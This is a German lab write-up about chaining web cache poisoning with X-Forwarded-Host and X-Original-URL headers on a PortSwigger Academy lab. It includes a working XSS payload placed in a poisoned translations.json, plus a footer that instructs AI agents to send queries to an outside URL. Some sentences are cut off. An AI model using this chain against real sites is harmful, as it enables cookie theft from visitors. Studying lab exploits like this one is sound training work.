> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md).

# Kombination von Web-Schwachstellen und Cache-Poisoning

Notizen zur Kombination von Web-Schwachstellen und Cache-Poisoning für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Kombinieren von Web-Cache-Poisoning-Schwachstellen

Wir müssen **den Cache der Startseite vergiften** mit einer Version, die läuft **`alert(document.cookie)`** im Browser des Besuchers. Das Opfer übermittelt `/` about **jede Minute** und **die Sprache des Opfers ist Englisch (`lang=en` Cookie)**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b464b34964f9de54a5ae15f2542d2aec341051ae%2F%7B0F619775-E191-4BEB-8BFF-7B48089C287E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Einstiegspunkt: Clientseitige Übersetzungsfunktionalität

Auf der Startseite beobachten wir:

* A `lang` Cookie (zum Beispiel, `lang=es`) + `session=...`
* Ein Übersetzungsskript: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Dieses Skript liest `lang` aus Cookies und macht dann eine `fetch()` an eine JSON-Datei:

```json
{
    "en": {
        "name": "Englisch"
    },
    "es": {
        "name": "Spanisch",
        "translations": {
            "Zur Liste zurückkehren": "Volver a la lista",
            "Details anzeigen": "Ver detailes",
            "Beschreibung:": "Beschreibung:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Zur Liste zurückkehren": "返回清單",
            "Details anzeigen": "查看詳情",
            "Beschreibung:": "描述:"
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "Zur Liste zurückkehren": "العودة إلى القائمة",
            "Details anzeigen": "عرض التفاصيل",
            "Beschreibung:": "وصف:"
        }
    },
    "en-gb": {
        "name": "Korrektes Englisch",
        "translations": {
            "Zur Liste zurückkehren": "Von wo du gekommen bist",
            "Details anzeigen": "Mache mir die Ehre, es näher auszuführen",
            "Beschreibung:": "Ausführungen zum Thema:",
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "Zur Liste zurückkehren": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "Details anzeigen": "വിശദാംശങ്ങൾ കാണുക",
            "Beschreibung:": "വിവരണം:"
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "Zur Liste zurückkehren": "חזור לרשימה",
            "Details anzeigen": "הצג פרטים",
            "Beschreibung:": "תיאור:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Zur Liste zurückkehren": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "Details anzeigen": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Beschreibung:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Suomalainen",
        "translations": {
            "Zur Liste zurückkehren": "Palaa luetteloon",
            "Details anzeigen": "Details anzeigen",
            "Beschreibung:": "Kuvaus:"
        }
    },
    "hw": {
        "name": "Ōlelo Hawaiʻi",
        "translations": {
            "Zur Liste zurückkehren": "Hoʻi i ka papa inoa",
            "Details anzeigen": "E nānā i nā kikoʻī",
            "Beschreibung:": "ʻO keʻano:"
        }
    },
    "mm": {
        "name": "ဗမာ",
        "translations": {
            "Zur Liste zurückkehren": "စာရင်းသို့ပြန်သွားသည်",
            "Details anzeigen": "အသေးစိတ်ကြည့်ရန်",
            "Beschreibung:": "ဖော်ပြချက်:"
        }
    }
}
```

Und `data.host` stammt aus einem Inline-Block auf der Startseite:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Dann wendet das Skript die Übersetzungen an, indem es Text ersetzt über `innerHTML`, was wichtig ist, weil es eine Übersetzung in \*\*HTML-Injektion\*\* verwandeln kann, wenn Sie das JSON kontrollieren.

### Schwachstelle #1: Host-Manipulation über `X-Forwarded-Host`

Durch Hinzufügen des folgenden HTTP-Headers

```http
X-Forwarded-Host: test.com
```

stellen wir fest, dass der Wert gespiegelt wird in `data.host`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3461b6b282bb32dc55439a59de59571e7de8e61a%2F%7B8738A7F4-EB84-4AE4-BD88-1764A553A590%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0441f08693f4ec7dcae06a063a876c16e614082e%2F%7B107B9E1A-1046-4CDC-865C-95A76B09CAC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

So können wir den Browser dazu zwingen, die Datei zu laden:

```bash
/resources/json/translations.json
```

### 3. Schwachstelle #2: XSS über JSON-Übersetzungsdatei

Auf dem Exploit-Server hosten wir eine gefälschte `translations.json` mit einer XSS-Injektion in einer Übersetzung, zum Beispiel:

```json
{
    "en": {
        "name": "Englisch"
    },
    "es": {
        "name": "Spanisch",
        "translations": {
            "Zur Liste zurückkehren": "Hola",
            "Details anzeigen": "></a><img src=0 onerror=alert(document.cookie)>",
            "Beschreibung:": "Beschreibung:"
        }
    }
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8eb4e3ef454afe369d8180cee297aea878f63d%2F%7B445D19C6-63AA-4054-9F8A-8EF4502C0E23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dann verwenden wir:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

Die aus dem Cache ausgelieferte Startseite verweist nun auf unsere bösartige JSON-Datei.

Der Inhalt der Übersetzung wird daher als HTML interpretiert, wodurch das injizierte JavaScript ausgeführt werden kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58ef1abeb35cab2786ccb22cc34f1256b694daba%2F%7B6925B92C-AD18-401B-AC72-DA0538F6357A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 4. Einschränkung: Das Opfer verwendet Englisch

Das Übersetzungsskript wird nur ausgeführt, wenn:

* `lang !== 'en'`

Das Opfer zunächst `lang=en`. / Auch wenn wir die JSON-Datei kontrollieren, \*\*l

Wir müssen daher **den Pfad auf Spanisch erzwingen**.

### 5. Schwachstelle #3: Sprachwechsel erzwingen über `X-Original-URL`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87e13e9f0cc9f0b88feb65b876b9ce56405170c9%2F%7B21D57C8C-9241-4DB7-993C-5E7CE7818875%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Mit Param Miner identifizieren wir den verwundbaren Header:

```http
X-Original-Url: /test
```

Wir senden eine weitere Anfrage an `/` mit:

* `X-Original-URL: /test` → `404 Nicht gefunden`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4fe24d508cbd70a67151840d4dae3e7f8d1419d%2F%7B6273E951-346B-4585-8BC2-6732D2C9A311%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Der Cache liefert eine Antwort, die definiert `lang=es` für Besucher.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Gefunden`

Dieser Pfad:

* setzt das `lang=es` Cookie
* Dann zurück zur Startseite gehen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-542b4e10792ab641da580c2735db6d5fffb9d4c4%2F%7BB0586630-FB00-4ABE-A0A2-7465B2093BC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ausführung des Payloads beim Opfer

1. Opfer besucht `/`
2. `lang` Cookie geht an `es`
3. Die Seite lädt die `translations.json` Datei von unserem Exploit-Server neu
4. Die bösartige Übersetzung wird in das DOM eingeschleust
5. Der Browser führt aus:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-256f8fbe3919c29629f4632bd9801fd23bd53d0c%2F%7B67B0120B-1D1F-4ACF-87A8-D889A63AEE0C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
